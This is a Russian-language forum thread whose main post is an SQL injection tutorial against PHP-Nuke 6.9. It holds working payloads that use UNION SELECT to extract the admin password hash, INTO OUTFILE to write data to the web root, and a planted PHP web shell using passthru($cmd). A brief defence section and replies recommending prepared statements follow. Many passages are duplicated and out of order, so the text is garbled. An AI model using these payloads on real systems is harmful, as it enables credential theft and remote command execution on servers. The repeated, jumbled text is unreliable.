Обучение/Помощь новичкам | sql inj
Отлично теперь попробуем использовать команду UNION:
Отдаем в браузере запрос:
modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*
Отлично =) Вместо названия раздела мы видим хеш пароля админа. Что же произошло.
Опять смотрим логи mysql:
14 Query SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
вот он наш запрос
Вот оно. Мы делаем выборку из nuke_topics где topicid='999' и данный запрос
естественно ничего не возвращает т.к. такого топика у нас нет и делаем выборку
pwd из таблицы nuke_authors и данный запрос возвращает хеш пароля первого
пользователя который и подставляется в название раздела. Заметьте что если мы
укажем существующий номер топика то результата мы не получим т.к. будет
подставлено название этого топика а не хеш. Поэтому мы и используем номер 999.
Вот первая уязвимость =)
Давайте рассмотрим второй запрос: ( запрос разбит на несколько строк для удобства )
SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic='1'' <-- Вот тут мы можем вставить свой sql-код
ORDER BY sid DESC limit 10
Посмотрим какие типы данных у нас в таблице nuke_stories:
+-----------+--------------+
| sid | int(11) |
+-----------+--------------+
| catid | int(11) |
+-----------+--------------+
| aid | varchar(30) |
+-----------+--------------+
| title | varchar(80) |
+-----------+--------------+
| time | datetime |
+-----------+--------------+
| hometext | text |
+-----------+--------------+
| bodytext | text |
+-----------+--------------+
| comments | int(11) |
+-----------+--------------+
| counter | mediumint(8) |
+-----------+--------------+
| topic | int(3) |
+-----------+--------------+
| informant | varchar(20) |
+-----------+--------------+
| notes | text |
+-----------+--------------+
| acomm | int(1) |
+-----------+--------------+
| score | int(10) |
+-----------+--------------+
| ratings | int(10) |
+-----------+--------------+
Отдаем в браузере запрос:
modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*
Отлично =) Вместо названия раздела мы видим хеш пароля админа. Что же произошло.
Опять смотрим логи mysql:
14 Query SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
вот он наш запрос
Вот оно. Мы делаем выборку из nuke_topics где topicid='999' и данный запрос
естественно ничего не возвращает т.к. такого топика у нас нет и делаем выборку
pwd из таблицы nuke_authors и данный запрос возвращает хеш пароля первого
пользователя который и подставляется в название раздела. Заметьте что если мы
укажем существующий номер топика то результата мы не получим т.к. будет
подставлено название этого топика а не хеш. Поэтому мы и используем номер 999.
Вот первая уязвимость =)
Давайте рассмотрим второй запрос: ( запрос разбит на несколько строк для удобства )
SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic='1'' <-- Вот тут мы можем вставить свой sql-код
ORDER BY sid DESC limit 10
Посмотрим какие типы данных у нас в таблице nuke_stories:
+-----------+--------------+
| sid | int(11) |
+-----------+--------------+
| catid | int(11) |
+-----------+--------------+
| aid | varchar(30) |
+-----------+--------------+
| title | varchar(80) |
+-----------+--------------+
| time | datetime |
+-----------+--------------+
| hometext | text |
+-----------+--------------+
| bodytext | text |
+-----------+--------------+
| comments | int(11) |
+-----------+--------------+
| counter | mediumint(8) |
+-----------+--------------+
| topic | int(3) |
+-----------+--------------+
| informant | varchar(20) |
+-----------+--------------+
| notes | text |
+-----------+--------------+
| acomm | int(1) |
+-----------+--------------+
| score | int(10) |
+-----------+--------------+
| ratings | int(10) |
+-----------+--------------+
Теперь также просмотрим таблицу nuke_authors на типы записей и составим запрос с
UNION таким образом чтобы типы из таблицы nuke_stories совпадали с типами из
nuke_authors и запрос примет вид:
modules.php?name=News&new_topic=999' UNION SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter FROM nuke_authors /*
Отдаем запрос в браузере и видим топик с содержанием хеша пароля =) Тут уже не
обязательно указывать несуществующий топик т.к. все работает и с топиком
существующим в базе.
Если посмотреть логи БД то можно увидеть что был отдан вот такой запрос к базе
данных: (запрос разбит на 4 блока для большего удобства)
SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic='1'
UNION
SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter
FROM nuke_authors
/*
' ORDER BY sid DESC limit 10
Как вы можете видеть в обоих запросах количество и типы столбцев совпадают.
Запрос специально разбит на 4 блока:
1 блок - это первый запрос select выбирающий из таблицы nuke_stories
2 блок - команда обьединения запросов union
3 блок - второй запрос select который выбирает хеш пароля и счетчик из таблицы nuke_authors
4 блок - все что идет после "/*" будет рассматриваться как комментарий
UNION таким образом чтобы типы из таблицы nuke_stories совпадали с типами из
nuke_authors и запрос примет вид:
modules.php?name=News&new_topic=999' UNION SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter FROM nuke_authors /*
Отдаем запрос в браузере и видим топик с содержанием хеша пароля =) Тут уже не
обязательно указывать несуществующий топик т.к. все работает и с топиком
существующим в базе.
Если посмотреть логи БД то можно увидеть что был отдан вот такой запрос к базе
данных: (запрос разбит на 4 блока для большего удобства)
SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic='1'
UNION
SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter
FROM nuke_authors
/*
' ORDER BY sid DESC limit 10
Как вы можете видеть в обоих запросах количество и типы столбцев совпадают.
Запрос специально разбит на 4 блока:
1 блок - это первый запрос select выбирающий из таблицы nuke_stories
2 блок - команда обьединения запросов union
3 блок - второй запрос select который выбирает хеш пароля и счетчик из таблицы nuke_authors
4 блок - все что идет после "/*" будет рассматриваться как комментарий
================================================
---/// Вывод данных в файл
================================================
К слову сказать, в инете полно практически одинаковых статей про sql-injection и
все они рассказывают про атаки данного типа при использовании MS SQL в качестве
сервера базы данных. Конечно сервак от мелкомягких дает поистинне потрясающие
возможности для взлома всего сервера за счет возможностей разделения запросов в
строке и прочих фишек но это тема другой статьи а у нас на повестке mysql в
котором все не так просто, но это совсем не плохо, это хорошо т.к. с mysql
возится сложнее а значит интереснее =) А к чему я это сказал? Да просто в тех
статьях описывается взлом при авторизации и авторизация там происходит примерно
таким запросом:
SELECT * FROM users WHERE login='blabla' AND password='blabla';
Изврат! Не правда-ли? Абсолютно убогий способ работы с базой данных. Зачем
спрашивается выбирать все данные из таблицы? Бррр что-то меня вообще не туда
унесло = Мы лучше рассмотрим авторизацию в PHP-Nuke 6.9. в котором процесс
авторизации сделан более грамотно и красиво. Обратите внимание на версию нюки!
Дело в том что в версии 7.0 не удастся через форму внедрить код с помощью
кавычки т.к. там эта бага прикрыта. В версии 7.0 есть возможность внедрения кода
в этом модуле посредством cookie но мы пока что не будем трогать cookie т.к. на
эту тему статья будет чуть позднее а рассмотрим внедрение кода просто через
форму авторизации. Для этого и пришлось использовать более раннюю версию. Как
пример.
Запускаем http://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина и
пароля. Ну вы наверно уже догадались что мы будем делать? Конечно вписываем в
качестве логина admin' (не забудьте про кавычку) и 123 в кач-ве пароля.
Хммм... Не пускает =) Ну чтож всякое бывает =) Наверно потому что логин и пароль
в базе другие совсем =)))
Чтож опять лезем смотреть логи mysql:
1 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin''
^ - вот она наша родная кавычка =)
Стоп! Вы уже побежали вставлять UNION и SELECT? Рано. Дело в том что в данном
модуле не происходит никакого вывода полученных данных из БД. Естественно раз
нет вывода то и вывести полученный хеш нам некуда. Что же делать. К счастью в
mysql есть замечательная опция сохранения выбранных из таблицы данных в файл.
Производится данный финт ушами следующим образом:
---/// Вывод данных в файл
================================================
К слову сказать, в инете полно практически одинаковых статей про sql-injection и
все они рассказывают про атаки данного типа при использовании MS SQL в качестве
сервера базы данных. Конечно сервак от мелкомягких дает поистинне потрясающие
возможности для взлома всего сервера за счет возможностей разделения запросов в
строке и прочих фишек но это тема другой статьи а у нас на повестке mysql в
котором все не так просто, но это совсем не плохо, это хорошо т.к. с mysql
возится сложнее а значит интереснее =) А к чему я это сказал? Да просто в тех
статьях описывается взлом при авторизации и авторизация там происходит примерно
таким запросом:
SELECT * FROM users WHERE login='blabla' AND password='blabla';
Изврат! Не правда-ли? Абсолютно убогий способ работы с базой данных. Зачем
спрашивается выбирать все данные из таблицы? Бррр что-то меня вообще не туда
унесло = Мы лучше рассмотрим авторизацию в PHP-Nuke 6.9. в котором процесс
авторизации сделан более грамотно и красиво. Обратите внимание на версию нюки!
Дело в том что в версии 7.0 не удастся через форму внедрить код с помощью
кавычки т.к. там эта бага прикрыта. В версии 7.0 есть возможность внедрения кода
в этом модуле посредством cookie но мы пока что не будем трогать cookie т.к. на
эту тему статья будет чуть позднее а рассмотрим внедрение кода просто через
форму авторизации. Для этого и пришлось использовать более раннюю версию. Как
пример.
Запускаем http://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина и
пароля. Ну вы наверно уже догадались что мы будем делать? Конечно вписываем в
качестве логина admin' (не забудьте про кавычку) и 123 в кач-ве пароля.
Хммм... Не пускает =) Ну чтож всякое бывает =) Наверно потому что логин и пароль
в базе другие совсем =)))
Чтож опять лезем смотреть логи mysql:
1 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin''
^ - вот она наша родная кавычка =)
Стоп! Вы уже побежали вставлять UNION и SELECT? Рано. Дело в том что в данном
модуле не происходит никакого вывода полученных данных из БД. Естественно раз
нет вывода то и вывести полученный хеш нам некуда. Что же делать. К счастью в
mysql есть замечательная опция сохранения выбранных из таблицы данных в файл.
Производится данный финт ушами следующим образом:
SELECT * FROM table INTO OUTFILE 'путь_к_файлу/файл';
Попробуем сохранить хеш пароля админа в файле. Форма ввода не позволяет ввести
длинный логин поэтому придется передавать данные через строку браузера:
http://127.0.0.1/phpnuke69/admin.php?op=login&pwd=123&aid=admin' INTO OUTFILE 'pwd.txt
После запроса данной строки в БД исполняется:
9 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin' INTO OUTFILE 'pwd.txt'
И хеш пароля пользователя "admin" оказывается записан в файл pwd.txt. Но вся
проблемма в том что файл создается не в корне www-сервера а в каталоге базы
данных. Для создания файла в каталоге доступном через web необходимо указывать
полный путь:
/phpnuke/admin.php?op=login&pwd=123&aid=admin' INTO OUTFILE '../../../../WWW/www1/phpnuke69/pwd.txt
И теперь уже:
http://127.0.0.1/phpnuke69/pwd.txt
Выдаст нам хеш админа.
Конечно необходимо учитывать права доступа и не факт что вы сможете записать
файл в нужное место но это сейчас не важно. Главное что мы смогли сформировать
нужный запрос и создать файл.
================================================
---/// Получение http-шелла
================================================
Конечно базы данных это хорошо, это интересно и познавательно, но хочется чего то
большего =) Их есть у меня =)
Как мы уже разобрались файлы мы создавать можем. А ведь в файл можно записать
любую инфу из базы данных, почему бы не воспользоваться этим и не создать себе
маленький такой http-шелл посредством создания php файла с незатейливым и
наверно всем знакомым содержанием: <? passthru($cmd) ?>
Итак воспользовавшись одним из описанных выше методов вам удалось все-таки
получить хеш пароля админа и вы благополучно залогинились как админ движка,
расшифровав пароль, либо вставив его в кукис (тема про куки будет более подробно
рассмотрена в следующей статье) Теперь вам необходимо каким-либо образом
вставить php-код в одно из значений в базе данных а потом вывести его в файл.
Вот способ которым воспользовался я:
Логинимся под админом. В меню администрирования входим в раздел Topics. Создаем
новый топик.
Попробуем сохранить хеш пароля админа в файле. Форма ввода не позволяет ввести
длинный логин поэтому придется передавать данные через строку браузера:
http://127.0.0.1/phpnuke69/admin.php?op=login&pwd=123&aid=admin' INTO OUTFILE 'pwd.txt
После запроса данной строки в БД исполняется:
9 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin' INTO OUTFILE 'pwd.txt'
И хеш пароля пользователя "admin" оказывается записан в файл pwd.txt. Но вся
проблемма в том что файл создается не в корне www-сервера а в каталоге базы
данных. Для создания файла в каталоге доступном через web необходимо указывать
полный путь:
/phpnuke/admin.php?op=login&pwd=123&aid=admin' INTO OUTFILE '../../../../WWW/www1/phpnuke69/pwd.txt
И теперь уже:
http://127.0.0.1/phpnuke69/pwd.txt
Выдаст нам хеш админа.
Конечно необходимо учитывать права доступа и не факт что вы сможете записать
файл в нужное место но это сейчас не важно. Главное что мы смогли сформировать
нужный запрос и создать файл.
================================================
---/// Получение http-шелла
================================================
Конечно базы данных это хорошо, это интересно и познавательно, но хочется чего то
большего =) Их есть у меня =)
Как мы уже разобрались файлы мы создавать можем. А ведь в файл можно записать
любую инфу из базы данных, почему бы не воспользоваться этим и не создать себе
маленький такой http-шелл посредством создания php файла с незатейливым и
наверно всем знакомым содержанием: <? passthru($cmd) ?>
Итак воспользовавшись одним из описанных выше методов вам удалось все-таки
получить хеш пароля админа и вы благополучно залогинились как админ движка,
расшифровав пароль, либо вставив его в кукис (тема про куки будет более подробно
рассмотрена в следующей статье) Теперь вам необходимо каким-либо образом
вставить php-код в одно из значений в базе данных а потом вывести его в файл.
Вот способ которым воспользовался я:
Логинимся под админом. В меню администрирования входим в раздел Topics. Создаем
новый топик.
В поле Topic Name пишем passthru
в поле Topic Text пишем: <? passthru($cmd) ?>
Теперь вспомним уязвимость описанную выше в этой статье, а именно:
modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*
SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'
Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца "topictext"
http://127.0.0.1/phpnuke/modules.php?name=News&new_topic=2' INTO OUTFILE 'shell.php' /*
где 2 - номер нового топика , shell.php - файл который будет создан
Не забудьте прописать путь к файлу.
После выполнения данного запроса будет создан файл shell.php содержащий нужный
нам пхп-код.
================================================
---/// Методы защиты
================================================
Если вы все-таки прочитали статью то наверно уже поняли что единственно верной
защитой является фильтрация всех данных принимаемых от пользователя. Наилучшим
решением будет разрешить использование лишь букв и цифр. В случае если
принимаемое значение должно быть цифрой, проверяейте его перед помещением в sql
запрос.
Не стоит надеятся на фильтрацию лишь одной кавычки т.к. во-первых атакующий может
использовать другие символы для если не внедрения кода то хотя бы для получения
дополнительной информации (например о пути к сайту) из сообщений о ошибках.
И во-вторых если скрипт отфильтровывает какой-либо символ, то его можно заменить
конструкцией +char(0xКОД_СИМВОЛА)+.
Также обращу внимание что фильтровать надо все данные пришедшие от пользователя
в запросах, в куках, в общем вообще все!
================================================
---/// Заключение
================================================
Ну вот и все. Я постарался рассмотреть наиболее информативные примеры атак типа
sql-injection. Надеюсь теперь вы сможете избежать ошибок при кодинге скриптов
работающих с базами данных. Удачи.
P.S. Вся информация в данной статье служит исключительно в образовательных целях.
Эта статья всего лишь попытка помочь авторам скриптов и указать на возможные
ошибки при работе с базами данных.
в поле Topic Text пишем: <? passthru($cmd) ?>
Теперь вспомним уязвимость описанную выше в этой статье, а именно:
modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*
SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'
Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца "topictext"
http://127.0.0.1/phpnuke/modules.php?name=News&new_topic=2' INTO OUTFILE 'shell.php' /*
где 2 - номер нового топика , shell.php - файл который будет создан
Не забудьте прописать путь к файлу.
После выполнения данного запроса будет создан файл shell.php содержащий нужный
нам пхп-код.
================================================
---/// Методы защиты
================================================
Если вы все-таки прочитали статью то наверно уже поняли что единственно верной
защитой является фильтрация всех данных принимаемых от пользователя. Наилучшим
решением будет разрешить использование лишь букв и цифр. В случае если
принимаемое значение должно быть цифрой, проверяейте его перед помещением в sql
запрос.
Не стоит надеятся на фильтрацию лишь одной кавычки т.к. во-первых атакующий может
использовать другие символы для если не внедрения кода то хотя бы для получения
дополнительной информации (например о пути к сайту) из сообщений о ошибках.
И во-вторых если скрипт отфильтровывает какой-либо символ, то его можно заменить
конструкцией +char(0xКОД_СИМВОЛА)+.
Также обращу внимание что фильтровать надо все данные пришедшие от пользователя
в запросах, в куках, в общем вообще все!
================================================
---/// Заключение
================================================
Ну вот и все. Я постарался рассмотреть наиболее информативные примеры атак типа
sql-injection. Надеюсь теперь вы сможете избежать ошибок при кодинге скриптов
работающих с базами данных. Удачи.
P.S. Вся информация в данной статье служит исключительно в образовательных целях.
Эта статья всего лишь попытка помочь авторам скриптов и указать на возможные
ошибки при работе с базами данных.
у меня пока все. если что кому не понятно, пишите в лс.
DELETED
24 февраля 2019, в 13:52
Delete
Зачем в тему кидать?
Cezarionis (24.02.2019 в 13:52)
Ты ведел раздел библиотеки?
Зачем в тему кидать?
Ты ведел раздел библиотеки?
Зачем в тему кидать?
я здесь не давно
давайте все тупо копировать из инета и сюда звливать?
Внимательно читаем мой пост
Опишу все в двух словах. Для того что бы не искать инъекции у себя в коде, достаточно использовать подготовленные запросы
Перед записью в бд фильтровать особо ничего не нужно, важно отфильтровать когда выводить информацию, это нужно для защиты от исполнения html и других кодов.
Спасибо за внимание, курс по безопасности окончен.
Опишу все в двух словах. Для того что бы не искать инъекции у себя в коде, достаточно использовать подготовленные запросы
Перед записью в бд фильтровать особо ничего не нужно, важно отфильтровать когда выводить информацию, это нужно для защиты от исполнения html и других кодов.
Спасибо за внимание, курс по безопасности окончен.